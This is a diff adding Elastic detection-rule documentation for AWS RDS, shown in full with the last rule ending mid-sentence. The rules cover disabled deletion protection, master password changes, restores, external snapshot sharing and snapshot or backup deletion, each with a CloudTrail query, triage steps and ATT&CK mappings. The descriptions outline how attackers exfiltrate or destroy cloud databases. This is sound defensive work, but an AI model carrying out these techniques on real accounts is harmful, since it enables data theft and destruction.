b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-deletion-protection-disabled]] +=== AWS RDS DB Instance or Cluster Deletion Protection Disabled + +Identifies the modification of an AWS RDS DB instance or cluster to disable the deletionProtection feature. Deletion protection prevents accidental or unauthorized deletion of RDS resources. Adversaries with sufficient permissions may disable this protection as a precursor to destructive actions, including the deletion of databases containing sensitive or business-critical data. This rule alerts when deletionProtection is explicitly set to false on an RDS DB instance or cluster. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_DeleteInstance.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS +* Tactic: Impact +* Rule Type: Event Correlation (EQL) +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Deletion Protection Disabled* + + +Deletion protection is designed to safeguard RDS DB instances and clusters from accidental or unauthorized deletion. An adversary with privileged access in a compromised environment, can disable this safeguard before issuing a `DeleteDBInstance` or `DeleteDBCluster` action. This rule detects successful attempts to modify deletionProtection and set it to false on any RDS instance or cluster. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `access_key_id` to determine which IAM principal made the change. + - Validate whether this principal normally performs RDS lifecycle operations. + +- **Review Event Details** + - Inspect `aws.cloudtrail.request_parameters` to confirm the targeted DB instance or cluster identifier. + - Confirm that the request explicitly contains `deletionProtection=false`. + +- **Contextualize the Change** + - Determine if recent activities justify the removal of deletion protection (migration, decommissioning, or maintenance). + - Compare the timestamp to normal operational hours or deployment windows. + +- **Correlate with Additional Activity** + - Look for subsequent or preceding RDS actions such as: + - `DeleteDBInstance` + - `DeleteDBCluster` + - Security group modifications + - Changes to parameter groups or backup retention policies. + - Sudden removal of backups or snapshots may indicate imminent destructive activity. + +- **Verify Environmental Risk** + - Assess the sensitivity of data stored in the affected DB instance or cluster. + - Determine if the instance is production, customer-facing, or mission-critical. + +- **Interview Relevant Personnel** + - Confirm with service owners or DB administrators whether the modification was intended and approved. + + +*False positive analysis* + + +- **Expected Decommissioning** + - Instances undergoing teardown or migration legitimately require deletion protection to be disabled first. + +- **Inconsistent Historical Behavior** + - Compare the action to historical modification patterns for the user or role. If the action aligns with past legitimate changes, it may not be suspicious. + + +*Response and remediation* + + +- **Immediate Remediation** + - If unauthorized, re-enable deletion protection (`deletionProtection=true`) on the affected DB instance or cluster. + - Review security groups, backup retention, and snapshot policies for additional unauthorized changes. + +- **Access Review** + - Investigate credential exposure for the IAM principal that performed the action. + - Rotate access keys or temporarily revoke permissions if compromise is suspected. + +- **Containment** + - If destructive intent is suspected, apply guardrails (e.g., IAM condition keys, SCPs) to prevent DB deletion. + +- **Audit and Harden** + - Ensure RDS instances adhere to least-privilege principles. + - Restrict who can modify `ModifyDBInstance` or `ModifyDBCluster` destructive settings, such as deletion protection, backup retention, and public accessibility. + +- **Incident Response Activation** + - Treat unauthorized removal of deletion protection as a high-risk precursor to data destruction. + - Trigger IR processes for containment, root cause analysis, and post-incident hardening. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.action in ("ModifyDBInstance", "ModifyDBCluster") + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "deletionProtection=false") + and not user_agent.original like~ ("*Terraform*", "*Pulumi*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-password-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-password-modified.asciidoc new file mode 100644 index 0000000000..e9621a1d98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-password-modified.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-aws-rds-db-instance-or-cluster-password-modified]] +=== AWS RDS DB Instance or Cluster Password Modified + +Identifies the modification of the master password for an AWS RDS DB instance or cluster. Changing the master password is a legitimate recovery action when access is lost, but adversaries with sufficient permissions may modify it to regain access, establish persistence, bypass existing controls, or escalate privileges within a compromised environment. Because RDS does not expose the password in API responses, this operation can meaningfully alter access pathways to sensitive data stores. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBInstance.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Overview.DBInstance.Modifying.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc#rds-modifydbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance or Cluster Password Modified* + + +The RDS master user password controls privileged access to a database instance or cluster. Modifying it can immediately shift access from one operator to another, break application functionality, or allow an adversary to regain control over a compromised DB instance. Because RDS never returns the password via API, this operation is a strong signal of intentional access reconfiguration. + +This rule detects successful password-modification events via `ModifyDBInstance` or `ModifyDBCluster`. Such changes may indicate credential loss recovery—or malicious actions related to persistence, privilege escalation, or defense evasion. + + +*Possible investigation steps* + + +- **Identify the actor and execution context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Inspect `user.name`, `source.ip`, and `user_agent.original` to determine whether the modification originated from expected networks, automation roles, or unusual sources. + +- **Determine what was modified** + - Examine `aws.cloudtrail.request_parameters` to identify: + - The DB instance or cluster identifier. + - Whether other parameters were modified in the same call (e.g., `manageMasterUserPassword`, engine version, instance class, parameter group). + - Review instance metadata in AWS to understand the sensitivity level, environment (prod/stage/dev), and potential business impact. + +- **Reconstruct timing and associated actions** + - Use `@timestamp` to compare the event against: + - Recent configuration changes such as `ModifyDBInstance`, `ModifyDBCluster`, or networking/security group updates. + - Other access-related operations (e.g., `AddRoleToDBInstance`, changes to Secrets Manager associations, disabling deletion protection). + - Check for signs of credential misuse leading up to the event (e.g., `DescribeDBInstances`, `GetCallerIdentity`, unauthorized console logins). + +- **Correlate with broader activity** + - Pivot in CloudTrail using the same access key, principal ARN, or source IP. + - Look for: + - Privilege-escalating or persistence-related behavior (IAM policy changes, role modifications, STS session creation). + - Subsequent DB-impacting operations, such as snapshot deletion, backup retention changes, or cluster deletion. + - Evidence of data access anomalies (backup exports, data snapshot copies, cross-region actions). + +- **Validate intent with operational owners** + - Confirm with DBAs, platform engineers, and application owners whether the password change: + - Was requested or scheduled. + - Aligns with pending migrations, credential rotations, or recovery actions. + - If not recognized, treat this as a high-risk event requiring deeper containment. + + +*False positive analysis* + + +- **Recovery or maintenance tasks** + - Password resets occur during lost-credential scenarios or planned rotations. Confirm if this aligns with a documented workflow. +- **Secrets Manager integration changes** + - When `manageMasterUserPassword` is toggled or Secrets Manager rotates passwords, a modification event may occur. Validate whether an automation pipeline triggered the change. +- **Non-production workloads** + - Development or staging environments may see frequent password resets. Consider tuning exceptions based on tags, instance identifiers, or IAM roles tied to automation. + + +*Response and remediation* + + +- **Contain unauthorized access** + - If activity is suspicious: + - Immediately rotate the master password again using a secure, validated workflow. + - Verify whether Secrets Manager integration was disabled (`manageMasterUserPassword=false`) and restore it if necessary. + - Restrict inbound DB access by tightening associated security group rules or isolating the instance temporarily. + +- **Investigate surrounding activity** + - Review CloudTrail to identify: + - Who accessed the instance after the password change. + - Whether any destructive or data-exfiltrating RDS actions occurred. + - Other IAM or STS activity tied to the same user or session. + +- **Restore guardrails and enhance monitoring** + - Ensure deletion protection, backup retention, and networking controls are correctly configured. + - Add real-time alerts for password-related modifications and high-risk RDS API actions. + +- **Strengthen IAM and operational controls** + - Limit permissions for `rds:ModifyDBInstance` and `rds:ModifyDBCluster`, especially when modifying authentication parameters. + - Require MFA and role-based access for DB administrators. + - Tighten SCPs or Config rules to restrict unauthorized DB configuration changes. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.action in ("ModifyDBInstance", "ModifyDBCluster") + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "masterUserPassword=*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-restored.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-restored.asciidoc new file mode 100644 index 0000000000..39f06f28bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-instance-restored.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-aws-rds-db-instance-restored]] +=== AWS RDS DB Instance Restored + +Identifies the restoration of an AWS RDS database instance from a snapshot or S3 backup. Adversaries with access to valid credentials may restore copies of existing databases to bypass logging and monitoring controls or to exfiltrate sensitive data from a duplicated environment. This rule detects successful restoration operations using "RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3", which may indicate unauthorized data access or post-compromise defense evasion. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromDBSnapshot.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromS3.html +* https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/rds__explore_snapshots/main.py +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation#rds-createdbsnapshot-rds-restoredbinstancefromdbsnapshot-rds-modifydbinstance + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS + +*Version*: 215 + +*Rule authors*: + +* Austin Songer +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Instance Restored* + + +Restoring an RDS DB instance from a snapshot or from S3 is a powerful operation that recreates a full database environment. While legitimate for recovery, migrations, or cloning, adversaries may use restore actions to access historical data, duplicate sensitive environments, evade guardrails, or prepare for data exfiltration. + +This rule detects successful invocation of `RestoreDBInstanceFromDBSnapshot` and `RestoreDBInstanceFromS3`, both of which may indicate attempts to rehydrate old datasets, bypass deletion protection, or establish a shadow environment for further malicious actions. + + +*Possible investigation steps* + + +- **Identify the actor and execution context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id`. + - Check `user.name`, `source.ip`, and `user_agent.original` to determine how the restore was executed (console, CLI, automation, SDK). + +- **Understand what was restored and why** + - Inspect `aws.cloudtrail.request_parameters` to identify: + - Snapshot identifier or S3 location used as the restore source. + - The new DB instance identifier and configuration parameters. + - Determine: + - Whether the snapshot/backup used for the restore contains sensitive or high-value data. + - Whether this restore created a publicly accessible instance, changed security groups, or used unusual storage/instance classes. + +- **Reconstruct the activity flow** + - Use `@timestamp` to correlate the restore event with: + - Snapshot creation, copy, or export events. + - IAM policy changes or privilege escalations. + - Deletion or modification of the original database. + - Other RDS lifecycle actions such as `ModifyDBInstance`, `DeleteDBInstance`, or backup configuration changes. + - Look for signs of attacker staging: + - Prior enumeration activity (`DescribeDBSnapshots`, `DescribeDBInstances`). + - Recent logins from unusual IPs or federated sessions without MFA. + +- **Correlate with broader behavior** + - Pivot in CloudTrail on: + - The same snapshot identifier. + - The same actor or access key ID. + - The newly created DB instance identifier. + - Examine: + - Whether the restored DB was modified immediately after (e.g., security groups opened, deletion protection disabled). + - Whether there were large-volume read operations or export actions following the restore. + - Whether the restore is part of a pattern of parallel suspicious activity (snapshot copying, S3 backups, cross-account actions). + +- **Validate intent with owners** + - Confirm with the application/database/platform teams: + - Whether the restore was requested or part of an authorized operational workflow. + - Whether this restore corresponds to migration, testing, DR drill, or another planned activity. + - Whether the restored environment should exist (and for how long). + + +*False positive analysis* + + +- **Legitimate maintenance and DR workflows** + - Many teams restore databases for patch testing, DR validation, schema testing, or migration. +- **Automated restore workflows** + - CI/CD pipelines or internal automation may restore DBs to generate staging or dev environments. +- **Third-party tooling** + - Backup/DR solutions, migration tools, or observability platforms may restore DB instances for operational reasons. Tune based on `user_agent.original` or known service roles. + + +*Response and remediation* + + +- **Contain the restored environment** + - If unauthorized: + - Apply restrictive security groups to block access. + - Disable public accessibility if enabled. + - Evaluate whether deletion protection or backup retention is misconfigured. + +- **Assess data exposure and intent** + - Work with data owners to evaluate: + - The sensitivity of the restored environment. + - Whether any reads, dumps, or exports occurred post-restore. + - Whether the restore enabled the attacker to access older or deleted data. + +- **Investigate scope and related activity** + - Review CloudTrail for: + - Additional restores, exports, or copies. + - IAM changes allowing expanded privileges. + - Unusual authentication events or federated sessions without MFA. + - Related destructive actions (snapshot deletion, backup disabled, instance deletion). + +- **Hardening and preventive controls** + - Enforce least privilege for `rds:RestoreDBInstanceFromDBSnapshot` and `rds:RestoreDBInstanceFromS3`. + - Use IAM conditions to restrict restore actions by network, principal, or region. + - Add AWS Config and Security Hub controls for monitoring: + - Unapproved restores. + - Public or misconfigured restored instances. + - Consider SCPs that prevent RDS restores in production accounts except through controlled roles. + +- **Post-incident improvements** + - Rotate credentials for affected IAM users/roles. + - Update change management processes to ensure restore actions are tracked and approved. + - Adjust rule exceptions sparingly and ensure high-risk restores continue to generate alerts. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "rds.amazonaws.com" + and event.action: ("RestoreDBInstanceFromDBSnapshot" or "RestoreDBInstanceFromS3") + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Create Cloud Instance +** ID: T1578.002 +** Reference URL: https://attack.mitre.org/techniques/T1578/002/ +* Sub-technique: +** Name: Revert Cloud Instance +** ID: T1578.004 +** Reference URL: https://attack.mitre.org/techniques/T1578/004/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-snapshot-shared-with-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-snapshot-shared-with-another-account.asciidoc new file mode 100644 index 0000000000..6f0144a964 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-db-snapshot-shared-with-another-account.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-aws-rds-db-snapshot-shared-with-another-account]] +=== AWS RDS DB Snapshot Shared with Another Account + +Identifies when an AWS RDS DB snapshot is shared with another AWS account or made public. DB snapshots contain complete backups of database instances, including schemas, table data, and sensitive application content. When shared externally, snapshots can be restored in another AWS environment, enabling unauthorized access, offline analysis, or data exfiltration. Adversaries who obtain valid credentials or exploit misconfigurations may modify snapshot attributes to grant access to accounts they control, bypassing network, IAM, and monitoring controls. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_ModifyDBSnapshotAttribute.html +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation#rds-modifydbsnapshotattribute-rds-createdbsnapshot + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS DB Snapshot Shared with Another Account* + + +Amazon RDS DB snapshots capture full backups of database instances and clusters. Modifying a snapshot’s restore +attributes to include external AWS accounts allows those accounts to restore and fully access the underlying data. +While cross-account snapshot sharing is widely used for migrations and disaster-recovery workflows, adversaries may +abuse this mechanism for stealthy data exfiltration, restoring the snapshot in infrastructure they control, outside of your monitoring boundary. + +This rule detects successful modifications to snapshot attributes where one or more additional AWS accounts are added to the snapshot’s restore permissions. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Determine whether the caller is an automation role, interactive user, CI/CD pipeline, or previously unseen principal. + - Check `source.ip` and `user_agent.original` for signs of unauthorized access or atypical tooling. + +- **Understand what snapshot was shared** + - From `aws.cloudtrail.request_parameters`, extract: + - The snapshot or cluster snapshot identifier. + - The list of `valuesToAdd` accounts added to `attributeName=restore`. + - Identify the associated database instance or cluster and evaluate: + - Data classification level (PII, customer data, secrets, credentials, financials, etc.) + - Application ownership and business impact. + +- **Validate the external account** + - Determine whether the recipient account: + - Belongs to your AWS Organization. + - Has previously been authorized for snapshot restore operations. + - Represents a new or unexpected dependency. + - Cross-reference with known partner accounts or migration plans. + +- **Correlate with related activity** + - Pivot in CloudTrail on the same user identity or account to identify: + - Prior reconnaissance actions (`DescribeDBSnapshots`, `DescribeDBInstances`). + - Snapshot copying or creation of manual snapshots just before sharing. + - IAM privilege escalation (`AttachRolePolicy`, `PutUserPolicy`, `AssumeRole` patterns). + - Unusual RDS configuration changes (backup retention decrease, deletion protection toggles). + +- **Assess for exfiltration indicators** + - Look for: + - Subsequent `CopyDBSnapshot` or `StartExportTask` events. + - Snapshot downloads, exports, or restoration from the external account. + - Snapshot attributes set to `all` (public sharing), which is extremely dangerous. + +- **Validate operational intent** + - Contact application owners, DBAs, or platform teams to confirm: + - Whether migration, replication, or DR workflows explain the share. + - Whether new accounts were intentionally onboarded. + - Whether the timing aligns with approved change windows. + + +*False positive analysis* + + +- **Legitimate migration or DR workflows** + - Many organizations routinely share snapshots with other accounts for staging, analytics, or DR replication. + +- **Automation roles** + - Infrastructure-as-code pipelines and backup automation tools may modify snapshot permissions as part of normal behavior. + +If behavior is expected and consistently performed by a known principal, tune the rule using exceptional user identities, service roles, or controlled organizational accounts. + + +*Response and remediation* + + +- **Revoke unauthorized sharing** + - Immediately remove unauthorized accounts from snapshot restore attributes. + - Ensure the snapshot is not publicly shared. + +- **Contain potential compromise** + - Rotate access keys or credentials for the principal that performed the modification. + - Review IAM permissions to ensure only approved roles can share snapshots. + +- **Assess impact** + - Determine whether the external account restored the snapshot and accessed data. + - If data exposure is likely, notify compliance, legal, and incident response teams. + +- **Hardening and preventive controls** + - Restrict snapshot sharing via IAM condition keys (`kms:ViaService`, `rds:dbSnapshotArn`, `aws:PrincipalArn`). + - Use AWS Organizations SCPs to block cross-account snapshot sharing in production accounts. + - Enable Config rules and Security Hub controls for public or cross-account snapshot access. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rds.amazonaws.com" + and event.outcome == "success" + and event.action in ("ModifyDBSnapshotAttribute", "ModifyDBClusterSnapshotAttribute") + and stringContains(aws.cloudtrail.request_parameters, "attributeName=restore") + and stringContains(aws.cloudtrail.request_parameters, "valuesToAdd=[*]") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-snapshot-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-snapshot-deleted.asciidoc new file mode 100644 index 0000000000..19d5b2fedb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-rds-snapshot-deleted.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-aws-rds-snapshot-deleted]] +=== AWS RDS Snapshot Deleted + +Identifies the deletion of an AWS RDS DB snapshot or configuration changes that effectively remove backup coverage for a DB instance. RDS snapshots contain full backups of database instances, and disabling automated backups by setting "backupRetentionPeriod=0" has a similar impact by preventing future restore points. Adversaries with the appropriate permissions may delete snapshots or disable backups to inhibit recovery, destroy forensic evidence, or prepare for follow-on destructive actions such as instance or cluster deletion. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_DeleteSnapshot.html +* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSnapshot.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS RDS +* Use Case: Asset Visibility +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS RDS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS RDS Snapshot Deleted* + + +AWS RDS snapshots (manual or automated) and backup retention settings are core to database recovery and incident response. Deleting snapshots or disabling automated backups (`backupRetentionPeriod=0`) can prevent restoration to a known-good state and destroy forensic evidence of attacker actions. + +This rule detects successful snapshot deletions and configuration changes that disable automated backups. Activity that matches this pattern may indicate destructive actions, ransomware preparation, cleanup after data theft, or an operator misconfiguration that materially weakens recovery options. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Check `user.name`, `source.ip`, and `user_agent.original` to understand where and how the change was made (console, CLI, SDK, automation). + +- **Determine what was affected** + - Inspect `aws.cloudtrail.request_parameters` to identify: + - The snapshot or cluster snapshot identifier (`DeleteDBSnapshot` / `DeleteDBClusterSnapshot`). + - The DB instance identifier and the new `backupRetentionPeriod` value for `ModifyDBInstance`. + - Map the snapshot/instance to: + - Application/owner team. + - Environment (prod, staging, dev). + - Data sensitivity or criticality. + +- **Reconstruct intent and timing** + - Use `@timestamp` to correlate the event with: + - Recent `ModifyDBInstance`, `ModifyDBCluster`, `DeleteDBInstance`, or `DeleteDBCluster` events. + - Other data-impacting changes (e.g., `deletionProtection=false`, security group changes, public accessibility, or RDS parameter modifications). + - Compare the timing against approved maintenance/change windows and deployment pipelines. + +- **Correlate with broader activity** + - In CloudTrail, pivot on: + - The same `aws.cloudtrail.user_identity.arn` or access key ID. + - The same DB instance/cluster identifiers. + - Look for: + - Suspicious reads or exports before deletion (`DescribeDBSnapshots`, `CopyDBSnapshot`, data export, or large `SELECT` / dump activity visible via other telemetry). + - Follow-on destructive actions (DB instance deletion, subnet/security group changes that isolate monitoring tools, or IAM policy changes). + - Verify whether other snapshots for the same instance or account were deleted in the same time window. + +- **Validate intent with owners** + - Confirm with the DB/application owner and platform/DBA teams whether: + - The snapshot deletion or backup change was requested and approved. + - There are parallel infrastructure changes (migrations, environment teardown, or cost-optimization tasks) that explain the activity. + + +*False positive analysis* + + +- **Planned lifecycle and cost optimization** + - Many environments routinely prune old snapshots or adjust backup retention for non-production workloads. + +- **Automated backup and 